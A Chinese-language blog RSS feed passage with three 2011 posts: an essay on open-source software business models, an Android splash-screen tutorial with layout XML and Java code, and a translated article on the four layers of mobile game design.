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	<title>无风的港湾 &#187; 代码</title>
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		<title>开源软件的盈利模式</title>
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		<pubDate>Wed, 29 Jun 2011 05:48:56 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>盈利模式之一：多种产品线 在这种模式中，利用开源软件为直接产生收入的专有软件来创造或维持一种市场地位。例如，开放源代码的客户端软件带动了服务器软件的销售，或者借用开源版本带动商业许可版本的产品销售。这种模式应用的比较普遍。如 MySQL 产品就同时推出面向个人和企业的两种版本，即开源版本和专业版本，分别采用不同的授权方式。开源版本完全免费以便更好的推广，而从专业版的许可销售和支持服务获得收入。再如 Redhat 自 Redhat Linux 9.0 后将原桌面操作系统转为 Fedora 项目，借 Fedora Core Linux 在开源社区的声望而促进 Redhat Enterprise Linux AS/ES/WS 服务器产品线的销售。 盈利模式之二：技术服务型 在这种模式中，开放源代码软件采用了一种全新的市场定位，并非面向产品，而是针对技术服务。JBoss就是这种模式的典型代表。JBoss 应用服务器完全免费，而通过提供技术文档、培训、二次开发支持等技术服务而获得收入。 盈利模式之三：应用服务托管（ASP） 这种模式适用于基于开源软件的应用服务供应商（ASP）。 例如，PHP Live！ 就是一种构架于 PHP、MySQL 之上的开源软件，它可为企业用户提供实时交谈服务。目前已经有数十家公开提供 PHP Live！ 托管服务的应用服务提供商。 盈利模式之四：软、硬件一体化 这种模式是针对硬件制造商的。随着竞争的普及，市场压力迫使硬件公司开发并维护软件，但是软件本身却并不是利润中心，因而采用开源软件。 这种模式为大型公司广泛采纳，比如 IBM HP 等服务器供应商巨头，通过捆绑免费的 Linux 操作系统销售硬件服务器。SUN 公司近期将其 Solaris 操作系统开放源码，以确保服务器硬件的销售收入，也是这种模式的体现。 盈利模式之五：附属品 在这种模式中，出售开放源代码的附加产品。比如在低端市场，出售杯子和T恤衫等；在高端市场上，出售专业编辑出版的文档和书籍。O&#8217;Reilly集团是销售开源软件附加产品公司的典型案例，他出版了很多优秀的开放源代码软件的参考资料。O&#8217;Reilly实际上雇用和支持了一些著名的开放源代码黑客（例如Larry Wall和Brain Behlendorf），并以此提高它在市场上的声望。 盈利模式之六：品牌战略、服务致上 在这种模式中，开源公司通过开源软件先天的传播优势，以极低的成本建立和传播品牌。并通过向用户提供产品相关的服务来获得回报。 康比尔公司的 Compiere ERP &#38; [...]]]></description>
			<content:encoded><![CDATA[<div><strong><span style="color: #0000ff;">盈利模式之一：多种产品线</span></strong></div>
<div>在这种模式中，利用开源软件为直接产生收入的专有软件来创造或维持一种市场地位。例如，开放源代码的客户端软件带动了服务器软件的销售，或者借用开源版本带动商业许可版本的产品销售。这种模式应用的比较普遍。如 <a href="http://www.5bay.cn/tag/mysql" class="st_tag internal_tag" rel="tag" title="标签 mysql 下的日志">MySQL</a> 产品就同时推出面向个人和企业的两种版本，即开源版本和专业版本，分别采用不同的授权方式。开源版本完全免费以便更好的推广，而从专业版的许可销售和支持服务获得收入。再如 Redhat 自 Redhat Linux 9.0 后将原桌面操作系统转为 Fedora 项目，借 Fedora Core Linux 在开源社区的声望而促进 Redhat Enterprise Linux AS/ES/WS 服务器产品线的销售。</div>
<div><span style="color: #0000ff;"><strong>盈利模式之二：技术服务型</strong></span></div>
<div>在这种模式中，开放源代码软件采用了一种全新的市场定位，并非面向产品，而是针对技术服务。JBoss就是这种模式的典型代表。JBoss 应用服务器完全免费，而通过提供技术文档、培训、二次开发支持等技术服务而获得收入。</div>
<div><strong><span style="color: #0000ff;">盈利模式之三：应用服务托管（ASP）</span></strong></div>
<div>这种模式适用于基于开源软件的应用服务供应商（ASP）。</div>
<div>例如，<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">PHP</a> Live！ 就是一种构架于 <a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">PHP</a>、MySQL 之上的开源软件，它可为企业用户提供实时交谈服务。目前已经有数十家公开提供 <a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">PHP</a> Live！ 托管服务的应用服务提供商。</div>
<div><span style="color: #0000ff;"><strong>盈利模式之四：软、硬件一体化</strong></span></div>
<div>这种模式是针对硬件制造商的。随着竞争的普及，市场压力迫使硬件公司开发并维护软件，但是软件本身却并不是利润中心，因而采用开源软件。 这种模式为大型公司广泛采纳，比如 IBM HP 等服务器供应商巨头，通过捆绑免费的 Linux 操作系统销售硬件服务器。SUN 公司近期将其 Solaris 操作系统开放源码，以确保服务器硬件的销售收入，也是这种模式的体现。</div>
<div><strong><span style="color: #0000ff;">盈利模式之五：附属品</span></strong></div>
<div>在这种模式中，出售开放源代码的附加产品。比如在低端市场，出售杯子和T恤衫等；在高端市场上，出售专业编辑出版的文档和书籍。O&#8217;Reilly集团是销售开源软件附加产品公司的典型案例，他出版了很多优秀的开放源代码软件的参考资料。O&#8217;Reilly实际上雇用和支持了一些著名的开放源代码黑客（例如Larry Wall和Brain Behlendorf），并以此提高它在市场上的声望。</div>
<div><strong><span style="color: #0000ff;">盈利模式之六：品牌战略、服务致上</span></strong></div>
<div>在这种模式中，开源公司通过开源软件先天的传播优势，以极低的成本建立和传播品牌。并通过向用户提供产品相关的服务来获得回报。 康比尔公司的 Compiere ERP &amp; CRM 软件是这种模式的典型案例。康比尔公司开发了开源的 ERP &amp; CRM <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" class="st_tag internal_tag" rel="tag" title="标签 软件 下的日志">软件</a>，由于其产品优秀，很快便获得了北美、欧洲和亚洲中小企业用户的认可，Compiere 品牌也因此迅速地传播到了世界各地，在企业管理软件市场已经成为全球知名品牌。</div>
<div><strong><span style="color: #0000ff;">盈利模式之七：市场策略</span></strong></div>
<div>这种模式，是一种快速抢占市场的营销策略，主要是为以后增强版产品的销售打下基础。 这种情形的案例有很多。比如，微软宣称部分的公开 Office 的源代码，就是执行这种策略。另一个案例则是CRM 领域的新星 SugarCRM，这款由速加科技开发的开源版本从2004年上半年公开下载后广为传播，为在9月推出的盒装专业版套件做好口碑上的准备。</div>
<div>开源软件的经营模式多种多样，随着开源软件的发展，会有更多的盈利模式应运而生。事实上，一家公司可能混合采用其中的几种盈利模式，比如康比尔公司不仅采用了第六种品牌策略，同时也采用了第二种提供技术服务的方式。 在开源软件大潮的冲击之下，包括微软在内的商业软件公司，也开始认可开源软件”软件成为服务”的本质。微软支持的金牌合作伙伴已经提供包括 Exchange Server 2003、SharePoint Server 2003 等在内的托管服务，如 ASP-One.com 每月每用户起价1美元的 SharePoint Server 2003 租赁服务和全包价9.95美元每月的Exchange Server 2003 租赁服务。 在欧洲和亚太地区各国政府的压力下，微软被迫开放Windows 和Office 的部分源代码，以改善政府的信任度，赢得庞大的政府采购订单。 开源软件的商业运动正方兴未艾。这是否会对传统的商业模式构成致命一击？开源软件在走向成熟的过程中，企业用户和政府用户由怀疑上升到愿意尝试，并最终形成了信任。开源软件已经成为软件业未来发展的重要趋势。正如 Navica 公司 CEO 本纳德·高登所说，”短短两三年间，任何人在选择任何企业软件之时，都开始考虑一个问题：是否有开源软件可作替代？”</div>
<div>***老文章，不知道原文出处</div>
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		<title>在Android中创建启动界面</title>
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		<pubDate>Wed, 29 Jun 2011 05:01:33 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html"><img align="left" hspace="5" width="150" src="http://images.cnblogs.com/cnblogs_com/yunfei181/splash.jpg" class="alignleft wp-post-image tfe" alt="" title="" /></a>1、制作一张启动图片splash.png，放置在res-&#62;drawable-hdpi文件夹中。 2、新建布局文件splash.xml &#160; &#60;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&#62; &#60;LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android” android:layout_width=”fill_parent” android:layout_height=”fill_parent” android:gravity=”bottom&#124;center” android:orientation=”vertical” android:background=”@drawable/splash”&#62; &#60;TextView android:text=”@+id/TextView01&#8243; android:layout_width=”wrap_content” android:layout_height=”wrap_content” android:layout_marginTop=”20dip” android:typeface=”sans” android:shadowDx=”0&#8243; android:shadowDy=”2&#8243; android:shadowRadius=”1&#8243; android:shadowColor=”#FFFFFF” android:textColor=”#444444&#8243; android:textSize=”20dip” android:id=”@+id/versionNumber” android:gravity=”bottom”&#62; &#60;/TextView&#62; &#60;/LinearLayout&#62; &#160; 这里我们把上一步制作的图片作为启动界面的背景图，然后在界面底部显示当前程序的版本号。 3、新建SplashActivity，在Oncreate中添加以下代码： setContentView(R.layout.splash); PackageManager pm = getPackageManager(); try { PackageInfo pi = pm.getPackageInfo(“com.lyt.android”, 0); TextView versionNumber = (TextView) findViewById(R.id.versionNumber); versionNumber.setText(“Version ” + pi.versionName); } catch (NameNotFoundException e) { e.printStackTrace(); } new Handler().postDelayed(new Runnable(){ @Override public void run() { Intent intent = new Intent(SplashActivity.this,SplashScreenActivity.class); startActivity(intent); SplashActivity.this.finish(); } }, 2500); &#160; 4、 修改Manifest文件，将启动界面Activity改为默认启动，并且设置标题栏不可见。 &#60;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&#62; &#60;manifest xmlns:android=”http://schemas.android.com/apk/res/android” package=”com.lyt.android” android:versionCode=”1&#8243; android:versionName=”1.0&#8243;&#62; &#60;application android:icon=”@drawable/icon” android:label=”@string/app_name”&#62; &#60;activity android:name=”.SplashActivity” android:label=”@string/app_name” android:theme=”@android:style/Theme.NoTitleBar”&#62; &#60;intent-filter&#62; &#60;action android:name=”android.intent.action.MAIN” /&#62; &#60;category android:name=”android.intent.category.LAUNCHER” /&#62; &#60;/intent-filter&#62; &#60;/activity&#62; &#60;activity android:name=”.SplashScreenActivity” android:label=”@string/app_name” &#62; &#60;/activity&#62; &#60;/application&#62; &#60;uses-sdk android:minSdkVersion=”8&#8243; /&#62; &#60;/manifest&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>1、制作一张启动图片splash.png，放置在res-&gt;drawable-hdpi文件夹中。</p>
<p>2、新建布局文件splash.<a href="http://www.5bay.cn/tag/xml" class="st_tag internal_tag" rel="tag" title="标签 xml 下的日志">xml</a></p>
<p>&nbsp;</p>
<div>
<div>&lt;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&gt;<br />
&lt;LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android”<br />
android:layout_width=”fill_parent” android:layout_height=”fill_parent”<br />
android:gravity=”bottom|center” android:orientation=”vertical”<br />
android:background=”@drawable/splash”&gt;<br />
&lt;TextView android:text=”@+id/TextView01&#8243; android:layout_width=”wrap_content”<br />
android:layout_height=”wrap_content” android:layout_marginTop=”20dip”<br />
android:typeface=”sans” android:shadowDx=”0&#8243; android:shadowDy=”2&#8243;<br />
android:shadowRadius=”1&#8243; android:shadowColor=”#FFFFFF”<br />
android:textColor=”#444444&#8243; android:textSize=”20dip” android:id=”@+id/versionNumber”<br />
android:gravity=”bottom”&gt;<br />
&lt;/TextView&gt;<br />
&lt;/LinearLayout&gt;</div>
</div>
<p>&nbsp;</p>
<p>这里我们把上一步制作的图片作为启动界面的背景图，然后在界面底部显示当前程序的版本号。</p>
<p>3、新建SplashActivity，在Oncreate中添加以下代码：</p>
<p>setContentView(R.layout.splash);</p>
<div>
<div>PackageManager pm = getPackageManager();<br />
try {<br />
PackageInfo pi = pm.getPackageInfo(“com.lyt.android”, 0);<br />
TextView versionNumber = (TextView) findViewById(R.id.versionNumber);<br />
versionNumber.setText(“Version ” + pi.versionName);<br />
} catch (NameNotFoundException e) {<br />
e.printStackTrace();<br />
}</p>
<p>new Handler().postDelayed(new Runnable(){</p>
<p>@Override<br />
public void run() {<br />
Intent intent = new Intent(SplashActivity.this,SplashScreenActivity.<a href="http://www.5bay.cn/tag/class" class="st_tag internal_tag" rel="tag" title="标签 class 下的日志">class</a>);<br />
startActivity(intent);<br />
SplashActivity.this.finish();<br />
}</p>
<p>}, 2500);</p></div>
</div>
<p>&nbsp;</p>
<p>4、 修改Manifest文件，将启动界面Activity改为默认启动，并且设置标题栏不可见。</p>
<p>&lt;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&gt;</p>
<div>
<div>&lt;manifest xmlns:android=”http://schemas.android.com/apk/res/android”<br />
package=”com.lyt.android” android:versionCode=”1&#8243; android:versionName=”1.0&#8243;&gt;<br />
&lt;application android:icon=”@drawable/icon” android:label=”@string/app_name”&gt;</p>
<p>&lt;activity android:name=”.SplashActivity” android:label=”@string/app_name”<br />
android:theme=”@android:style/Theme.NoTitleBar”&gt;<br />
&lt;intent-filter&gt;<br />
&lt;action android:name=”android.intent.action.MAIN” /&gt;<br />
&lt;category android:name=”android.intent.category.LAUNCHER” /&gt;<br />
&lt;/intent-filter&gt;<br />
&lt;/activity&gt;<br />
&lt;activity android:name=”.SplashScreenActivity” android:label=”@string/app_name” &gt;<br />
&lt;/activity&gt;<br />
&lt;/application&gt;<br />
&lt;uses-sdk android:minSdkVersion=”8&#8243; /&gt;</p>
<p>&lt;/manifest&gt;</p></div>
</div>
<p>&nbsp;</p>
<p>5、显示效果如下：</p>
<p><img src="http://images.cnblogs.com/cnblogs_com/yunfei181/splash.jpg" border="0" alt="" width="325" height="484" /></p>
<p>&nbsp;</p>
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		<title>资深设计师Tony Ventrice解析手机游戏开发的四个层次</title>
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		<pubDate>Wed, 29 Jun 2011 03:48:08 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
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		<description><![CDATA[<a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html"><img align="left" hspace="5" width="150" src="http://pic001.cnblogs.com/images/2011/145819/2011052421021528.jpg" class="alignleft wp-post-image tfe" alt="" title="" /></a>营销人员可能明白强势品牌的重要性，但却对游戏机制一无所知；程序员可能深谙强大游戏机制的意义所在，但对游戏机制的传达方式一窍不通。这样的营销人员和程序员都无法各自打造出成功的游戏。因为一款成功的游戏离不开跨领域的协调性，然而，我们经常见到情况就如上所述，游戏制作团队的成员往往只熟悉游戏设计中面向己方的专业知识，对其他学科的知识所知甚少。 此时游戏设计师的职责显得尤为关键把不同专业的观点融合为全面的设计构想。如果设计师做不到，结果就是，团队里的成员各忙各的，把时间和精力浪费在毫不相干的工作上。 游戏设计包含了几个层次的工作，且各个层次彼此不同，就如游戏的市场营销和用户界面，把这些毫不相干的层次组合起来，这看似一项艰难的任务。完成这项任务需要明白游戏设计交叉性的理论框架、形象化游戏设计方案的下滴（上滴）效应。 手机平台的两个支点 手机游戏带给玩家的融入感可能不如掌机游戏或电脑游戏那么强烈，但如果要深入研究游戏设计结构，简易的手机游戏却是个理想的探索起点。手机游戏开发之所以独特基于两点：能简则简，以量取胜。 能简则简。你可能已经听说过这么句话：一旦所有可删除的对象都被删除了，一个游戏就趋于完美了。手机平台检验了这个论断。即使是在今天这个iPhone的黎明时代，手机游戏开发者仍然不得不应对手机游戏需局限于128K空间的难题，而这128K包括了美工、代码、游戏数据、声音和其他所有游戏要素。 这种容量限制几乎足以令任何一种游戏设置寸步难行，但游戏还是顽强地活下来了，虽然硕果仅存的是些再简单不过的游戏。这些残存下来的游戏拥有高度精炼和清晰可辩的设计构架。 以量取胜。在时间相对紧凑的开发周期中，手机游戏设计师要同时开工好几个游戏，这几乎囊括所有你能想得到的游戏类型。 同时设计三四款不同的游戏，你有两个选择：要么是通过一个共同的工作期掌握所有游戏的设计进程，要么顶着令人抓狂的压力分别跟进所有游戏设计进度。以下是一些手机游戏设计的经验总结。 tetris 层次 所有游戏设计都可以划分为四个基本的层次，即： 概念 范式 机制 界面 我们以手机游戏长青树《俄罗期方块》为例，该类戏设计的四个层次如下图所示： 俄罗斯方块的四个层次 概念 组合下落方块，尽可能把方块组合成完整的一行或多行，使之被消除，以延长游戏时间。 范式 范式是玩家与游戏时需要的思维框架。范式中所列的几何空间关系模式只是简单地指代玩家可能遇到的各种益智类游戏，例如拼图游戏、魔方、《无限回廊》、《音乐方块》和《跳跳球》等等。范式中的组合构建在游戏上就是所谓的匹配消除类游戏，例如《宝石方块》、《毛毛球》和《宝石迷阵》等等。 机制 机制由游戏内容构成的；内容对于支撑范式是必不可少的。 机制是第三层次的实质，内容也是建立在机制的基础之上。在《俄罗期方块》中，可阐述的机制非常多，没有办法列出全部，省略的要点如：方块阻塞，游戏结束和下落及接触这两个动词的解释。 界面 如图可见，并非所有的机制都需要直接的用户输入。在设计良好的游戏里，界面的利用限度是最低的，但能引起机制之间的连锁反应。例如，玩家通过影响方块的下落位置，从而决定底部的方块残排能否补全。 每一款游戏都可以描述为这四个层次。以下是对四个层次的详解。 概念 对许多人来说，游戏设计的起始都伴随着一个概念即从提出初步设想到形成完整的理念。 概念本身并不能阐明游戏的乐趣所在。提出设想的人通常是在头脑中想象着其他概念相似的游戏，并且假设所有游戏辅助细节都隐含其中。 如果你是一个设计师，你就会知道概念不是重点，但并不是说一个设计师应该抛弃设想。毕竟，概念是游戏设计的最高层次；如果概念本身不能讲述引人入胜的剧情，这样的游戏也不会有市场。 曾经存在着这么些卓越的游戏，因为其概念不能与用户产生共鸣，所以盈利表现不佳。游戏续作和电影授权游戏的成功很大程度上可以归结为，其游戏概念已深入人心。 在手机游戏里，没有所谓的游戏盒子或者视频演示游戏概念只能通过游戏名称体现出来。当我参与制作一个24 TV show授权游戏时，我们团队面临的最大障碍是游戏命名的问题。 我们那时已在开发游戏续作了，我们知道第一款游戏反响不佳可能得归咎于名称，所以24 Part 2这个名称就被淘汰了。而24: Jack Bauer’s Back等此类名称显然也不是我们的选择，最后只好将游戏命名为24: Agent Down。 在本作中，游戏的理念已经体现出来了；任何看过24的人都知道它是关于间谍和阴谋、黑客和枪战的电视节目，但通过简短的描述把这个概念完整地传达给用户几乎是不可能的事情。 《ER Rush》这个名称就不错。这是一款原创、以医院为主题的转盘游戏，与成功的《美女餐厅》类似。这两款游戏虽然在许多机制颇有偏差，但基本概念却是一致的用户各取所需（游戏邦注：玩家在该游戏中的任务就是在医院里四处奔走为病人提供服务），这款游戏的市场行情也非常走俏。 要产生一个理想的概念，最重要的是鼓励大胆创新；提取出最引人注目的内容对其进行扩充；体现游戏剧情。虽然这未必可以描述游戏的最终走向，但却是定义下一步–范式的前提。 范式 范式大概是四个游戏设计基本层次中最难称呼且最容易被忽略的一个层次了。范式听起来有些虚饰和抽象，但其意义却非常具体、明确：范式是玩家作用于游戏时的展望。 每一个挑中某款游戏的玩家都会带着先入为主的观念来玩游戏，这种观念是玩家本身、玩家所处的社会和人性所固有的特点。游戏反映生活，所以大多游戏带给玩家的普遍体验都不外乎打猎、收集和建造等等，这是自然而然的事。正是这些游戏体验定义了范式。 范式包含了一系列的玩家意料之中的规则。因此无需提醒，玩家凭直觉就知道范式固有的目标和风险，例如管理资源。如果一款游戏融合了各式体验，且每种体验都有各自的小目标，那么这个游戏可以说是融合了形形色色的范式。 范式与类型相似，但类型主要根据以往的游戏来创建原型，而范式则直接涉及人类体验的基本构建模块。 从类型方面举例，第一人称射击类游戏，展现了游戏的视觉范围和目标，但没有定义明确的范式。而FPS类游戏的特色在于：缓慢的节奏（系统的/计划前瞻性）、频繁地使用掩护（躲藏和搜索），战略武器升级（资源管理）和武器在不同情景的切换（工具管理）。这些游戏过程事实上都各有其小范式（即括号内的词组），并且每一个都是玩家熟悉的经历。玩家无需得到躲藏和搜索的前提解释，因为那就是人的本能。 范式和概念经常被混淆；许多概念能立即反映一个明显的范式（如猎鹿游戏需要躲藏和搜索的游戏内容），但这并不意味着其他范式不能与之共存。 [...]]]></description>
			<content:encoded><![CDATA[<p>营销人员可能明白强势品牌的重要性，但却对游戏机制一无所知；程序员可能深谙强大游戏机制的意义所在，但对游戏机制的传达方式一窍不通。这样的营销人员和程序员都无法各自打造出成功的游戏。因为一款成功的游戏离不开跨领域的协调性，然而，我们经常见到情况就如上所述，游戏制作团队的成员往往只熟悉游戏设计中面向己方的专业知识，对其他学科的知识所知甚少。</p>
<p>此时游戏设计师的职责显得尤为关键把不同专业的观点融合为全面的设计构想。如果设计师做不到，结果就是，团队里的成员各忙各的，把时间和精力浪费在毫不相干的工作上。</p>
<p>游戏设计包含了几个层次的工作，且各个层次彼此不同，就如游戏的市场营销和用户界面，把这些毫不相干的层次组合起来，这看似一项艰难的任务。完成这项任务需要明白游戏设计交叉性的理论框架、形象化游戏设计方案的下滴（上滴）效应。</p>
<p><strong> 手机平台的两个支点</strong></p>
<p>手机游戏带给玩家的融入感可能不如掌机游戏或电脑游戏那么强烈，但如果要深入研究游戏设计结构，简易的手机游戏却是个理想的探索起点。手机游戏开发之所以独特基于两点：能简则简，以量取胜。</p>
<p>能简则简。你可能已经听说过这么句话：一旦所有可删除的对象都被删除了，一个游戏就趋于完美了。手机平台检验了这个论断。即使是在今天这个iPhone的黎明时代，手机游戏开发者仍然不得不应对手机游戏需局限于128K空间的难题，而这128K包括了美工、<a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" class="st_tag internal_tag" rel="tag" title="标签 代码 下的日志">代码</a>、游戏数据、声音和其他所有游戏要素。</p>
<p>这种容量限制几乎足以令任何一种游戏设置寸步难行，但游戏还是顽强地活下来了，虽然硕果仅存的是些再简单不过的游戏。这些残存下来的游戏拥有高度精炼和清晰可辩的设计构架。</p>
<p>以量取胜。在时间相对紧凑的开发周期中，手机游戏设计师要同时开工好几个游戏，这几乎囊括所有你能想得到的游戏类型。</p>
<p>同时设计三四款不同的游戏，你有两个选择：要么是通过一个共同的工作期掌握所有游戏的设计进程，要么顶着令人抓狂的压力分别跟进所有游戏设计进度。以下是一些手机游戏设计的经验总结。<span id="more-545"></span></p>
<p><img src="http://pic001.cnblogs.com/images/2011/145819/2011052421021528.jpg" alt="" /></p>
<p>tetris</p>
<p><strong> 层次</strong></p>
<p>所有游戏设计都可以划分为四个基本的层次，即：</p>
<ul>
<li>概念</li>
<li>范式</li>
<li>机制</li>
<li>界面</li>
</ul>
<p>我们以手机游戏长青树《俄罗期方块》为例，该类戏设计的四个层次如下图所示：</p>
<p><img src="http://pic001.cnblogs.com/images/2011/145819/2011052421023784.jpg" alt="" /></p>
<p>俄罗斯方块的四个层次</p>
<p><strong> 概念</strong></p>
<p>组合下落方块，尽可能把方块组合成完整的一行或多行，使之被消除，以延长游戏时间。</p>
<p><strong> 范式</strong></p>
<p>范式是玩家与游戏时需要的思维框架。范式中所列的几何空间关系模式只是简单地指代玩家可能遇到的各种益智类游戏，例如拼图游戏、魔方、《无限回廊》、《音乐方块》和《跳跳球》等等。范式中的组合构建在游戏上就是所谓的匹配消除类游戏，例如《宝石方块》、《毛毛球》和《宝石迷阵》等等。</p>
<p><strong> 机制</strong></p>
<p>机制由游戏内容构成的；内容对于支撑范式是必不可少的。</p>
<p>机制是第三层次的实质，内容也是建立在机制的基础之上。在《俄罗期方块》中，可阐述的机制非常多，没有办法列出全部，省略的要点如：方块阻塞，游戏结束和下落及接触这两个动词的解释。</p>
<p><strong> 界面</strong></p>
<p>如图可见，并非所有的机制都需要直接的用户输入。在设计良好的游戏里，界面的利用限度是最低的，但能引起机制之间的连锁反应。例如，玩家通过影响方块的下落位置，从而决定底部的方块残排能否补全。</p>
<p>每一款游戏都可以描述为这四个层次。以下是对四个层次的详解。</p>
<p><strong> 概念</strong></p>
<p>对许多人来说，游戏设计的起始都伴随着一个概念即从提出初步设想到形成完整的理念。</p>
<p>概念本身并不能阐明游戏的乐趣所在。提出设想的人通常是在头脑中想象着其他概念相似的游戏，并且假设所有游戏辅助细节都隐含其中。</p>
<p>如果你是一个设计师，你就会知道概念不是重点，但并不是说一个设计师应该抛弃设想。毕竟，概念是游戏设计的最高层次；如果概念本身不能讲述引人入胜的剧情，这样的游戏也不会有市场。</p>
<p>曾经存在着这么些卓越的游戏，因为其概念不能与用户产生共鸣，所以盈利表现不佳。游戏续作和电影授权游戏的成功很大程度上可以归结为，其游戏概念已深入人心。</p>
<p>在手机游戏里，没有所谓的游戏盒子或者视频演示游戏概念只能通过游戏名称体现出来。当我参与制作一个24 TV show授权游戏时，我们团队面临的最大障碍是游戏命名的问题。</p>
<p>我们那时已在开发游戏续作了，我们知道第一款游戏反响不佳可能得归咎于名称，所以24 Part 2这个名称就被淘汰了。而24: Jack Bauer’s Back等此类名称显然也不是我们的选择，最后只好将游戏命名为24: Agent Down。</p>
<p>在本作中，游戏的理念已经体现出来了；任何看过24的人都知道它是关于间谍和阴谋、黑客和枪战的电视节目，但通过简短的描述把这个概念完整地传达给用户几乎是不可能的事情。</p>
<p>《ER Rush》这个名称就不错。这是一款原创、以医院为主题的转盘游戏，与成功的《美女餐厅》类似。这两款游戏虽然在许多机制颇有偏差，但基本概念却是一致的用户各取所需（游戏邦注：玩家在该游戏中的任务就是在医院里四处奔走为病人提供服务），这款游戏的市场行情也非常走俏。</p>
<p>要产生一个理想的概念，最重要的是鼓励大胆创新；提取出最引人注目的内容对其进行扩充；体现游戏剧情。虽然这未必可以描述游戏的最终走向，但却是定义下一步–范式的前提。</p>
<p><strong> 范式</strong></p>
<p>范式大概是四个游戏设计基本层次中最难称呼且最容易被忽略的一个层次了。范式听起来有些虚饰和抽象，但其意义却非常具体、明确：范式是玩家作用于游戏时的展望。</p>
<p>每一个挑中某款游戏的玩家都会带着先入为主的观念来玩游戏，这种观念是玩家本身、玩家所处的社会和人性所固有的特点。游戏反映生活，所以大多游戏带给玩家的普遍体验都不外乎打猎、收集和建造等等，这是自然而然的事。正是这些游戏体验定义了范式。</p>
<p>范式包含了一系列的玩家意料之中的规则。因此无需提醒，玩家凭直觉就知道范式固有的目标和风险，例如管理资源。如果一款游戏融合了各式体验，且每种体验都有各自的小目标，那么这个游戏可以说是融合了形形色色的范式。</p>
<p>范式与类型相似，但类型主要根据以往的游戏来创建原型，而范式则直接涉及人类体验的基本构建模块。</p>
<p>从类型方面举例，第一人称射击类游戏，展现了游戏的视觉范围和目标，但没有定义明确的范式。而FPS类游戏的特色在于：缓慢的节奏（系统的/计划前瞻性）、频繁地使用掩护（躲藏和搜索），战略武器升级（资源管理）和武器在不同情景的切换（工具管理）。这些游戏过程事实上都各有其小范式（即括号内的词组），并且每一个都是玩家熟悉的经历。玩家无需得到躲藏和搜索的前提解释，因为那就是人的本能。</p>
<p>范式和概念经常被混淆；许多概念能立即反映一个明显的范式（如猎鹿游戏需要躲藏和搜索的游戏内容），但这并不意味着其他范式不能与之共存。</p>
<p>范式和游戏机制同样不易区分。第一款游戏为了展开成功的范式，通常会构建一个机制先例，而这个机制先例总是被后来的游戏效仿。例如，技巧类桌面游戏总是围绕四个键的输入组合来做文章。这就是这类游戏多年以来形成的惯例。</p>
<p><strong> 机制与内容</strong></p>
<p>范式隐暗游戏规则，而机制决定游戏规则。在一定程度上可以说机制充当了游戏中的可操作部分。组合三个方块来消除一排或几排方块、重新装载枪支、用木材和铁搭建兵营或者其他在游戏中能做的事，这些都是一种机制。如果玩家可以改变或者影响游戏中的什么元素，那种元素就是机制。</p>
<p>机制具有详细性、技术性，且其细节包含的信息太多（游戏邦注：对一般人而言是如此，但游戏程序员和设计师除外）。一般人看到是本身只作为机制的集合体内容，而看不到其掩盖下的细节。</p>
<p>富有经验的设计师从游戏概念成形的那一刻起就在考虑游戏机制。如果有人建议做一款以玩家为上帝的游戏，且所有人都认同这是个了不起的概念，那么设计师肯定在所有人都开工前就确定好可控制的机制。</p>
<p>一个普遍而不言自明的手机游戏开发理念是：游戏功能和机制越多越好。这是因为游戏可玩的地方越多，游戏的价值就越大。</p>
<p>如果制作游戏过程不受时间、金钱和玩家注意力的限制，以上言论可能完全正确。但游戏设计师的当务之急是决定什么功能可以为整个游戏锦上添花，什么功能应该排除在外。</p>
<p>总体来说，设计师就像主管。想法是廉价的，但艺术构想却是无价的。程序员可以只将设计视为纯粹的机制，制作人员可以只当设计是纯粹的内容，但设计师却要把自己的视野放宽一些。</p>
<p>除了确定游戏的功能和特色，设计师还要凭借自己的经验和想象，将预定设想转化为赏心悦目、意义深远、一目了然的界面，且这个界面能激发玩家的凝聚力，平衡玩家的紧张感和松弛感。</p>
<p><strong> 界面</strong></p>
<p>游戏设计层次的底层是界面。界面是有形的视听提示，是沟通玩家与游戏机制的桥梁。</p>
<p>界面通常是由按钮组成的，但也可能包含虚拟摇杆、<a href="http://www.5bay.cn/tag/%E9%BC%A0%E6%A0%87" class="st_tag internal_tag" rel="tag" title="标签 鼠标 下的日志">鼠标</a>、麦克风、加速计或者移动传感手套等。</p>
<p>界面设计至少应把输入方式与机制相对应，但还要进一步考虑界面的平衡性不可用过多输入操作吓走玩家、避免难度较大的输入组合以及过分精确的定时设置，要让游戏的基调始终如一，简单易记。</p>
<p><img src="http://pic001.cnblogs.com/images/2011/145819/2011052421025639.jpg" alt="" /></p>
<p>Guitar Hero World Tour</p>
<p>因为手机有别于其他游戏设备，所以界面就成了运行手机游戏的一大挑战。设计手机版《吉他英雄之世界巡演》时，我很快就断定增加一击鼓键与玩家习惯了的三键相比，游戏难度将大大提升。玩家经常不得不彻底改变拿手机的方式以适应击鼓输入。</p>
<p>为了简化这种设置，我们把下排数字键（7、8、9）设定为有效的击鼓输入，同时进一步过滤音符数据，这样鼓的轨道上就不会产生多音符弦。</p>
